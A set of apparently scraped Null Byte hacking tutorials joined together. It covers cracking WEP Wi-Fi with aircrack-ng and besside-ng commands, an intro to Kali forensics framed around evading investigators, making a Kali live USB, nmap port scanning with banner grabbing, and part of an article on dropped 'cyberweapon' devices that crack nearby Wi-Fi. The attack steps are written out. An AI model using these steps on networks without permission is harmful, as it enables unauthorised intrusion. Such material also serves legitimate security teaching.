While the security behind WEP networks was broken in 2005, modern tools have made cracking them incredibly simple. In densely populated areas, WEP networks can be found in surprising and important places to this day, and they can be cracked in a matter of minutes. We'll show you how a hacker would do so and explain why they should be careful to avoid hacking into a honeypot.Often one of the first wireless attacks a hacker will learn, WEP networks in your area can be tracked down with only a few software tools and cracked with a network adapter supporting packet injection. While WEP cracking has always been relatively straightforward, the simplicity with which it can be found and broken in 2018 brings it firmly into the abilities of even the most novice of hackers.While still much more rare to see thanopenorWPA-encrypted networks, the evolution of tools likeWigle Wifiallows anyone with an Android phone to identify WEP networks for themselves simply by walking or driving by one. Even easier than doing this in person is to simply look at online wardriving databases which clearly show the location of these networks.Don't Miss:How to Wardrive on an Android Phone to Map Vulnerable NetworksThanks to years of wardriving data,Wigle.nettracks statistics about the type of encryption used with any detected Wi-Fi networks uses. Over time, the percentage of Wi-Fi networks using WEP has dwindled from 45% to a stubborn 7.45 percent.Why WEP Networks Are So VulnerableWEP, or Wired Equivalent Privacy, was implemented in 1995 to provide the same expectation of privacy as on wired networks for users of Wi-Fi but had security problems that came to light shortly after. It was deprecated in 2004, superseded by the WPA and WPA2 encryption that you see today. The reason for this was a series ofincreasingly devastating attacksagainst the encryption used in WEP, resulting in the ability to recover the password in a matter of minutes.WEP is astream cipherwhich relies on never using the same key twice to provide security. Unfortunately, as demonstrated in several published attacks, an attacker is easily able to force the same key to be used twice by replaying network traffic in a way that forces a tremendous amount of packets to be generated. This allows an attacker to collect the data needed to determine the encryption key and crack the network password outright. With good range anda powerful network adapter, anyone can expect to crack WEP networks in only a few minutes.The power behind WEP hacking comes from two different parts of the attack: the ability to stimulate traffic even from a busy network and the ability to crack the network password when collecting a certain amount of that traffic. Remember that with WPA, hackers can't even capture a handshake from an empty network, but even an empty WEP network can be attacked with packet injection.Where WEP Networks Can Be FoundIn an incident in May of 2006, WEP networks left connected to the credit card processing terminals in TJ Maxx stores allowed a hacker to access the credit card data of millions of customersin one of the biggest ever data breachs. This dramatic example underscored the fact that WEP networks are a critical security risk anywhere they are used.Today, WEP serves two major functions in the hacking world: being an easy target and being a trap for script kiddies. Because WEP hacking is often the first criminal hackers learn too, it's often entertaining toset up a honeypotto catch local script kiddies trying to break in. In spite of the popularity of WEP honeypots, you'll find plenty of legitimate vulnerable networks nearby. In general, everyone should treat these as highly suspicious, since it's unlikely that only one person has tried to break into the network.Don't Miss:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkTo find nearby WEP networks, one can simply go to Wigle.net and sign up for a free account. Next, they would click "Advanced Search" and run a search for networks with WEP security near their location. In my example below, I chose to limit my search toonly networks I'd seen with my phonepersonally.Searching my personal database for nearby WEP networks found several pages of results.In a dense area, one could simplydrive around with the Wigle Wifi Android app, upload the files to Wigle, then run this search. This will reveal the location on a map of every WEP network that was passed. The results can be surprising!Caution for Cracking WEPAs I previously stated, WEP is extremely simple to crack. Just because it's easy doesn't mean it's legal, so make sure that you have permission to do this to any network you're practicing on before launching this kind of attack. While it's very likely the attack will succeed, and it's good to know this skill, the risk that the network you are attacking is a honeypot is much higher than the average encrypted network. WEP is fundamentally broken, so very few people will choose to use it.Another thing you should consider is that you will very likely not be the first person to crack that WEP network. Depending on the intentions of the person who got there first, the network could be doing anything from stealing credentials toproviding a VPN endpoint for very bad stuff. Because you don't know what could be going on, be very cautious about connecting to networks that could be used for nefarious purposes. If WEP is implemented in a business, cracking WEP is often the first line of attack for a pentester to quickly embarrass their client.sWhat You'll Need to Get StartedTo crack a WEP network, you'll need to be able to stimulate enough network traffic to cryptographically attack the key. The best way to do this is to use a wireless network adapter that's capable of packet injection. This means our adapter will be able to send forged packets to our target network, allowing us to replay anything that would cause the router to provide the amount of traffic we need.We'vetestedseveral Panda Wireless network adapters like the PAU06 and PAU09, and found them to work well for packet injection with Kali Linux. We have a list of the best compatible network adapters available for Kali in the article linked below if you need some help selecting one.More Info:The Best Wireless Network Adapters for Wi-Fi HackingYou'll also need a fully updated version of Kali Linux, which you can run asa virtual machineor directly on something like aRaspberry Pi.Step 1: Locate Nearby WEP NetworksTo start attacking a WEP network, you'll need to find one first. To do so, you'll run a series of filters withAirodump-ngto help you locate only vulnerable networks nearby. Airodump-ng is included in theAircrack-ngpackage, so be sure to install it withapt-getinstall aircrack-ngif you don't already.Don't Miss:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsTo get started, typeifconfigto find the name of your wireless network adapter, which you should have plugged in already. In Kali Linux, it should be something like wlan0.Next, you'll need to put your attack card into monitor mode. In a terminal window, typesudoairmon-ngstart wlan0. This will put your card into monitor mode, likely changing the name of the card as well. Take note of this new name by runningifconfigorip aagain, as you'll need it for the next step.Next, run Airodump-ng with the filter--encrypt WEPto see only WEP networks nearby. The complete command can be seen below.sudo airodump-ng wlan0mon --encrypt WEPThis will scan the area for any packets using WEP encryption, returning the name and information of the network if one exists. Once you have the information, you'll need to use it as a filter to tailor your attack in the next step.Step 2: Attack a Discovered WEP Wi-Fi NetworkOnce you have the information you need for targeting the WEP network from Airodump-ng, there are a few variables you'll need to remember. First, take note of the channel number, and second, copy the BSSID (or MAC address) of the network.The next tool you're going to use is a little aggressive, to say the least.Besside-ngwill attack all Wi-Fi networks nearby if you don't give it the proper attack parameters to prevent this behavior. The actual attack, however, is highly automated and should proceed until the attack is successful in recovering the WEP network key for as long as you are in the range of the network.Don't Miss:How to Automate Wi-Fi Hacking with Besside-ngTo launch the attack, type the following into a terminal window, swapping out the appropriate information.besside-ng -cChannelTargetIsOn-bBSSIDofTargetNetworkNameOfInterfaceCardSo, if your network card was wlan0mon, the BSSID of your target network was 7C:CA:ED:A4:9B:EE, and the target network was on channel 3, your command would look like the following.besside-ng -b 7C:CA:ED:A4:9B:EE -c 11 wlan0monRun this command, and the attack will launch against the network. If your card has trouble or you see "network is down," you can runairmon-ng check killto kill any processes that may be taking your network adapter out of monitor mode.Step 3: Flood the Network & Extract the WEP KeyWhile the attack proceeds, Besside-ng will log all of the data it collects in a .cap file for later retrieval. If you experience any problems with Besside-ng or get disconnected, don't worry! You can run Aircrack-ng on the .cap file as you add more data generated by Besside-ng, and all of your collected IVs (initialization vectors) will be there. This means you can come back to the same place at different times and gather more IVs to your .cap file until you can crack them to derive the password by running Aircrack-ng.To try to crack the WEP network for the information you've gathered, you'll need to call Aircrack-ng with the location of the .cap file as the argument. This is pretty easy since Besside-ng usually stores WEP.cap in the root folder. That means running the command to try cracking the network is usually as seen below.aircrack-ng ./wep.capThis will read the .cap file and allow you to select which network you want to crack from the ones Besside-ng has encountered. If you have saved up enough IVs, you can crack the password outright, or you can leave it running while Besside-ng runs, and the attack will be repeated automatically every 5,000 IVs until it succeeds.After some number crunching, you should see the WEP key cracked in a few seconds to a minute, depending on whether you have gathered enough information.Protecting Yourself Against WEP AttacksUnless you are trying to catch local script kiddies in the act, there is no reason to use WEP encryption for anything. Aside from being insecure, it also makes your system a very visible target. You should scan for WEP networks in your home and work usingKismetor theWigle Wifiapp, and replace or upgrade any devices that are still using this broken standard of encryption.Don't Miss:Null Byte's Guides on Hacking Almost Any Wi-Fi NetworkWEP Encryption Is the Easiest to CrackThere you have it, it only takes a few minutes to break into a WEP network using modern tools like Airodump-ng and Besside-ng in conjunction with an appropriate wireless network adapter. Since WEP cracking is a staple of Wi-Fi hacking, I wanted to be sure we covered it in our intro to Wi-Fi hacking series. Hopefully, you have an understanding of what WEP is, why it's vulnerable, and how to go about actually cracking it.I hope you enjoyed this guide to hacking WEP Wi-Fi networks! If you have any questions about this tutorial or WEP cracking, feel free to leave a comment or reach me on Twitter@KodyKinzie. We'll be doing more inour Wi-Fi hacking series, so stay tuned.Don't Miss:Yet Another Way WEP Wi-Fi Networks Can Be CrackedFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null Byte; Screenshots by Kody/Null ByteRelatedHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Crack Wi-Fi Passwordsβ€”For Beginners!How to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Hack Wi-Fi Networks with BettercapHow To:Automate Wi-Fi Hacking with Wifite2Android Basics:How to Connect to a Wi-Fi NetworkHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β€” Even Android UsersHow To:Hack into wireless networksHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Wardrive on an Android Phone to Map Vulnerable NetworksHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:The Easiest Way to Share Your Complicated WiFi Password with Friends & Familyβ€”No Typing RequiredHow To:Hack into WEP encrypted wireless networksHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Pick an Antenna for Wi-Fi HackingHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsNews:PSP2 (Next Generation Portable) or NGPNews:Advanced Cracking Techniques, Part 1: Custom Dictionaries
Hack Like a Pro: Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator) Β« Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!Lately, much of the discussion here on Null Byte has revolved around evading detection andnot getting caughthacking. Several of you have written me asking for a series on evading detection and forensics, and while Ibegan a series5 months ago on just that, we have changed hacking platforms fromBackTracktoKali, which has a much more highly developed forensic toolset.As a result, we willstart anew with Kaliand I'll try to develop this series in a logical and sequential manner that a forensic investigator would follow. I will also include units in here on anti-forensics, or ways you can stymie the forensic investigator.Although, I know you are all anxious for me to show you how to evade detection, you first need some background in the tools and techniques of the forensic investigator. Without that background information, you will be left at the whim of ever changing and improving forensic techniques. Only by understanding the tools and techniques of the forensic investigator can you stay ahead of the game and, more importantly, stay out of custody.Kali Forensic ToolsKali has a number of forensic tools built into its toolbox. Although many of these tools are outstanding in Kali, there are many more forensic tools available and I will not limit myself to those included in Kali, but we will start with these.We can find those tools atKali Linux->Forensics.As you can see, Kali subdivides its forensic tools into multiple categories. These include the following.Anti-Virus Forensic ToolsDigital Anti-Forensic ToolsDigital ForensicsForensic Analysis ToolsForensic Craving ToolsForensic Hashing ToolsForensic Imaging ToolsForensic SuitesNetwork ForensicsPassword Forensics ToolsPDF Forensic ToolsRAM Forensic ToolsEach one of these areas includes multiple tools for doing similar tasks. I will try to demonstrate the best tools and include the theory behind the techniques.Commercial Forensic ToolsThere are a large number of companies that produce commercial forensic tools, primarily for law enforcement use. The two dominant players areEnCaseand theForensic Tool Kit(FTK). These forensic suites tend to be all-encompassing, with tools for all types of cases and investigations. In addition, they have case management and reporting capabilities that go far beyond those of the open-source tools.Volatile Analysis GUI in AccessData's FTK.Image viaAccessDataThis doesn't mean they are better tools, but it does mean they easier to use (after all, they are designed for law enforcement officers) and they format and manage the information better than some of our open source tools. We will examine these tools a bit in this series, but digital forensics is better learned using open source tools as you really need to know what and how you are doing with these tools, rather than simply point, click, and print.Areas That We Will Address HereIn the real world (anyone ever been there?), Linux systems are attackers and Windows systems are victims. As a result, we will focus our attention on understanding what artifacts the attacker (us?) might leave behind on a Windows system.To be able to benefit from this discussion and tutorials, I have to assume that you havefunctional Linux knowledge and skills, a good understanding of TCP/IP and networking, and have reasonable Windows skills. In addition, to grasp the work of the forensic investigator, you will need to understand the close-grained anatomy of a Windows filesystem (usually NTFS) and the Windows registry.Few hackers, and for that matter, few system admins, have that deep understanding of the NTFS and the registry, so I will have separate tutorials on those two subject matters.I really hope you enjoythis seriesand find it useful, whether you want to make a career of catching hackers or simply want to remain free to hack another day.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Digital Forensics Using Kali, Part 3 (Creating Cases in Autopsy & Sleuth Kit)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 3 (Recovering Deleted Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)How To:Why You Should Study to Be a HackerHow To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 20 (Devices Files)News:What to Expect from Null Byte in 2015The Sony Hack:Thoughts & Observations from a Real HackerNews:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:How to Find the Exact Location of Any IP AddressHack Like a Pro:How to Use the New p0f 3.0 for OS Fingerprinting & ForensicsHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)How To:Links to Help You HackingHack Like a Pro:How to Create a Smartphone Pentesting LabHow To:The Essential Skills to Becoming a Master HackerHow To:Hack WPA WiFi Passwords by Cracking the WPS PINNews:How to Study for the White Hat Hacker Associate Certification (CWA)Linux:Where Do I Start?News:What does Pro Tools HD Native mean for you?Camera Plus Pro:The iPhone Camera App That Does it AllHow To:Don't Get Caught! How to Protect Your Hard Drives from Data Forensics
How to Install Kali Live on a USB Drive (With Persistence, Optional) Β« Null Byte :: WonderHowTo
Hi there, nullbytes :) I've recently seen many questions regarding VMs with Kali, and personally I prefer using a Live Boot USB to get Kali without removing my system (and for many reasons).Some of the reasons for using a Live USB are:Β· You use all of your system resources (CPU, RAM, GPU, etc)Β· You take no space of your Hard Drive for it.Β· No tunnelling your Internal Wireless Adapter into eth0Β· You can take your OS to any PC you use.And you just need a USB flash drive of at least 4 GB with nothing on it to get it, so why not give it a try?For this tutorial, I'll assume you're starting from a PC with Windows installed, as most newbies do.Step 1: Get the Stuff You NeedFirst, you'll need a program to install Kali on your USB drive and make it bootable. My program of choice isUniversal USB Installer, as it's painfully easy to use and it has a direct link to many Linux distros download page within the program.Search for this button, and get the program. Once you run it, you'll see a disclaimer page. Accept it (or read it first, if you feel like it), and you'll be presented with the configuration section (after a few seconds). Choose Kali from the dropdown menu:If you haven't downloaded a Kali image yet, just check the "Download Link" box and you'll be taken right into the download page.If your system is 64 bit, you may want the 64 bit ISO, but it doesn't ensure you portability to all the PC's you find. If you're not sure whether your PC is 32 or 64 bit, choose the 32 bit ISO. It'll work for both architectures.You can choose Direct download, but if you have a pretty slow and unreliable connection, download it via Torrent. If you never downloaded something via Torrent, you could look it up. It's pretty damn simple.Once you have downloaded your Kali image, select it:Step 2: Installing KaliAnd then choose the drive letter for your USB drive (you probably won't need to use that checkbox on the right side). Be careful when doing this.I'd recommend to check the box that formats your USB drive. That'll wipe your whole USB drive, make sure you back up everything you had there before proceeding. It'll make a quick format, so there's no reason to avoid this.Click on Create, then Yes, and it'll do the whole process by itself. The longest part will be extracting the ISO to your USB, but it'll be over in a matter of minutes.If everything went as expected, you'll see this, and you have a USB you can Live boot you Kali from. You may have to do a little tweaking on your BIOS for it to work, but I don't know how to cover every BIOS on a single tutorial.Quick Linux GuideIf you're already a Linux user, follow these steps to make a Kali Live USB. It's way simpler and faster than Windows!Β· Make sure you have a 4 GB+ USB drive connected and you're ready to get it cleaned.Β· Download theKali ISOof your choice (32/64 bit).Β· Check your USB drive location withsudo fdisk -lΒ· Let's say it's/dev/sdband you haven't ever partitioned it. Just format it to be Fat32 withsudo mkfs.vfat -n 'Kali' -I /dev/sdb1Β· Locate your Kali image and use it as input in this command:sudo dd if=/home/you/downloads/kali.version.iso of=/dev/sdb1 bs=512Wait for it to finish, and that's it, you have Kali on your USB drive now.Setting Up Persistence (Preparing the Partition)You liked to Live boot from USB, but you want to save changes made into your OS, or just files (such as .pcap files) into your USB drive? You'll need to set up Persistence. Your USB drive must have 8 GB+ of storage space.DownloadMiniTool Partition Wizard Free, install it, run it and then chooseLaunch Application.Right click on your USB drive, and click onMove/ResizeUse the small black arrow keys to shrink the partition size. It will leave a bit of storage space free, but if you manually assign the Partition Size, the program may fail. Click OK.A new big grey chunk of unallocated space as appeared! Right click on it and click on Create. It'll warn us that Windows won't be able to see that partition, but we don't care about that ;)Pick this options:Β· Create as:PrimaryΒ· File System:Ext4Β· Partition Label:persistenceThen click OK.Now click on Apply (upper left corner), and just wait for it to complete the tasks.Setting Up Persistence (Configuring the Partition)Once the partition manager finished, reboot your computer and boot up from your USB drive. Choose the option "Live USB Persistence", and when it's booted up, open a Terminal and use these commands:Determine which partition of your drive you'll usefdisk -lRemember your drive had a FAT32 partition and a Ext4 (Linux) one?Make a directory on the filesystem to mount your USBmkdir -p /mnt/my_usbMount the partition on the directory you made (don't click the desktop icon labeled persistence!)mount /dev/sdc2 /mnt/my_usbAdd a configuration file to enable persistenceecho "/ union" > /mnt/my_usb/persistence.confUnmount the partition and rebootumount /dev/sdc2 && rebootNow, if you boot up toLive USB Persistence, you'll be able to save stuff everywhere on your Linux filesystem, and every configuration you make locally will be available everywhere you plug it in :)Closing UpI hope this article is useful for newbies who are getting their heads messed up with VMs instead of just booting up Kali and getting their heads messed up by using Kali.I also hope it's not over explained (or under explained). I've tried to keep it as simple as I could without adding loads of screenies as if it were going to be read by dumb people. But I'll gladly answer any questions related to this in the comments :)P.S.: Sorry Mac users, I don't know about your system. Yet.P.S.2.: I'll do a Linux partition guide when I figure out how much space I can crop without screwing up my drive, but you can have fun with GParted in the meantime.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Create Bootable USB with Persistence for Kali LinuxHow To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Kali Is Your New Pet; The Ultimate Guide About Kali Linux Portability.How To:Remove BackTrack & Install Kali as a Dual-Boot System Without Damaging Your Hard DriveHow To:Avoid Root Password Reset on Kali Live USB Persistence BootHow To:Install Linux to a Thumb Drive
How Hackers Use Your IP Address to Hack Your Computer & How to Stop It Β« Null Byte :: WonderHowTo
Your IP (InternetProtocol) address is your unique ID on the internet. It's synonymous with your home address. Anyone in the world can contact your computer through its IP address, and send a retrieve information with it.I'm sure at one time or another you've heard that hackers can hack your computer via your IP address. This is one of the reasons proxies and anonymity services exist, to protect people from learning your IP address. So how are hackers using just an address to get into your computer and make your life hell?Open ports. Your computer runs services like media sharing on what are calledports. A port is just an opening that a service uses as a communications endpoint. There are 65,535 total allocated ports inTCP/UDP. To exploit a service on a port, a hacker wouldbanner grabfor the software and version. After they learn that information, they would search sites likePacket Stormfor known exploits to run against the service.Today'sNull Byteis going to demonstrate a simple "port scan" on local computer using Nmap, and teach how a hacker would exploit these services, as well as how to guard ourselves against it. This will be done under Linux, but Nmap is available for all platforms. If you can't figure out how to install it in Windows with the GUI installer (yeah, right), follow along usingCygwin.Step1Download & Install NmapBold words are commands that must be entered in a terminal emulator.First, we must download Nmap, which is going to be our tool that we use for port scanning and information gathering:wget http://nmap.org/dist/nmap-5.51.tar.bz2Now, extract the archive:tar -zxvf nmap-5.51.tar.bz2Change to the newly made directory:cd <directory name>This is the standard installation procedure:./configuremake && sudo make installNmap should now be installed!Step2Scan for a TargetLet's scan a local computer. I'm going to use a website as an example, rather than a local computer. This is because my firewall is absolutely crazy, and filters out scans. Don't scan a remote computer with the intentions of doing bad deeds. This is for educational purposes only.Start by mapping out your local network:sudo nmap -sP 192.168.1.0/24That should return a list of hosts that are up for a port scan!Step3Scan Your Individual TargetOut of the returned list of targets, pick one that you would like to scan for services. Let's do a full scan of all the TCP/UDP ports:sudo nmap -p 1-65535 -T4 -A -v <target IP goes here>You should get something that looks like the following image:As you can see, this target has MANY open ports. SSH piques my interest, so let's move on to banner grabbing to learn the software version or our choice of service.Step4Banner GrabbingFor this, you can use the regular ol'telnetclient. Telnet comes with Windows and most Linux distros:telnet <host IP> <port banner to grab>From this, I would learn which software version the service is running, then see if I can find a way to exploit it.How Can I Protect Myself?Luck for all of you lovely people, I recently made atutorial on iptables, which will filter out unwanted connections. Also, disable any unnecessary programs that connect to the internet (remote administration, media sharing, etc).Windows users, installComodo firewall, it's incredible and uses a simple point and click installation, and will filter portsforyou. It has great default settings and it isfree.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto bypowtacRelatedHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHacker Fundamentals:A Tale of Two StandardsHack Like a Pro:Networking Basics for the Aspiring Hacker, Part 1Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:The Five Phases of HackingHow To:Use & Abuse the Address Resolution Protocol (ARP) to Locate Hosts on a NetworkHack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:Understand & Use IPv4 to Navigate a NetworkAdvice from a Real Hacker:Why I'm Skeptical That North Korea Hacked SonyHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Save the World from Nuclear AnnihilationHack Like a Pro:Abusing DNS for ReconnaissanceHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerRasberry Pi:Connecting on ComputerHacker Fundamentals:A Gentle Introduction to How IP Addresses WorkHow To:Assign a Static IP Address in Windows 7How To:Bypass a Local Network Proxy for Free InternetHow To:Make a Change-of-IP Notifier in PythonMastering Security, Part 2:How to Create a Home VPN TunnelNews:Student Sentenced to 8mo. in Jail for Hacking FacebookHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Turn Your House Lights On & Off Using the InternetHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHacking in the Media:Our Craft's Portrayal as Black MagicHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the Web
How to Hack Wi-Fi: Automating Wi-Fi Hacking with Besside-ng Β« Null Byte :: WonderHowTo
Besside-ngis the hidden gem of theAircrack-ngsuite ofWi-Fi hacking tools. When run with a wireless network adapter capable of packet injection, Besside-ng can harvest WPA handshakes from any network with an active user β€” and crack WEP passwords outright. Unlike many tools, it requires no special dependencies and can be run via SSH, making it easy to deploy remotely.In my opinion, it's one of the most powerful Wi-Fi hacking tools currently available. First written in 2010 in C, Besside-ng is an incredibly aggressive and persistent WPA handshake mass-harvester and WEP cracker. It features customizable options to upload handshakes to distributed WPA password crackers, which, on average, crack over 18% of networks submitted automatically.Don't Miss:Hack WPA & WPA2 Passwords with a Pixie-Dust AttackSound Simple? Let's Look at How It WorksEncrypted Wi-Fi networks come in two primary flavors, WEP and WPA.While WEP can be broken easily, WPA and WPA2 networks require us to record a "handshake" when a device connects to the target network. Then, we try to guess the password by having a program try many possible passwords against that recorded handshake. If we guess the correct password, we'll know, so havinga good password listanda fast processorused to be essential to cracking WPA networks.In 2020, we have more options. To save time, we can submit these handshakes to a distributed cracking service or a more powerful machine, which will automatically try all of the world's most common and shitty passwords for us. Since many people choose bad passwords, we will get back around 10–20% of our recorded handshakes networks with cracked passwords.Don't Miss:Crack WPA2 Passwords Using the New PMKID Hashcat AttackTo record a precious handshake from a W-Fi network, an authorized device like the target's smartphone or laptop must connect to the network. Besside-ng scans the airwaves for any devices connected to a Wi-Fi network, then injects a packet that disconnects the device from that network for a brief moment.How a deauth attack works to harvest WPA keys.The targeted device will reconnect automatically, and we will record the handshake when it does. It's terrifyingly easy, and during peak activity hours in a high-density area, Besside-ng can harvest every Wi-Fi network in use within the range of your antenna. Keep in mind, if your target has an always-connected smart device, you can pretty much always grab a handshake for their network.Why a 2010 Tool Is Still Powerful in 2020Since 2010, some significant changes have made Besside-ng relevant again. Small, cheap computers like theRaspberry Pi Zero Wandthe Raspberry Pi 3feature the ability toadd powerful network adaptersin addition to its internal Wi-Fi card, all while keeping the cost below $70 to run a remote headless attack suite.Don't Miss:Raspberry Pi Zero W Hacking Platform with Besside-ng SupportSo what kind of applications can we use Besside-ng for? Well, lots. But let's just go over a few of the best use-cases quickly so you get an idea.1. Cheap CyberweaponsCheap, "fire-and-forget" cyberweapons, designed to harvest and crack WPA networks in a given area and then be discarded, are small and light enough to be left in an Altoids tin in the trash, dropped by a small drone on a roof, or tossed over a fence by hand. The same devices can also be used to deliberately jam orattempt to exploitthe router of any nearby Wi-Fi network with a bad password.Don't Miss:How to Seize Control of a Router with RoutersploitAn attacker would only needa directional antenna(likethis one) aimed at the rogue device to communicate with and control it. The rapid way in which Besside-ng builds a list of available Wi-Fi connections to switch between allows a rogue device to develop a "beachhead" into the neighboring wireless environment. This doubles as a list of exploitable routers to pivot through once the WPA password is cracked. Once a rogue device is in place and cracks a few reliable networks, the hacker is free to go home and control the device via a reverse shell.A long-range, directional WPA harvester designed for scanning high-rise buildings.Image by Kody/Null Byte2. Anonymous Internet That Piggybacks Nearby NetworksEmergency set up of workstations when rapidly shifting locations can be aided by using Besside-ng to acquire several connection options in under an hour. A small team needing to rapidly set up an internet-connected forward operating position in an opportunistic workspace (like working out of a garage or public space) can piggyback off existing nearby infrastructure to reduce their footprint.While it's easy to get access, it is critical to useToror VPNs properly, and spin the MAC address of any devices used each time they connect to such a network. If you need a network β€” any network β€” to get working, this is your program. This technique can also be used to quickly set up an environment for rogue devices to operate in, allow for a LAN dead drop between two users over a privately owned network, or impersonate users of nearby networks to mask activity.Two Besside-ng sessions running in parallel 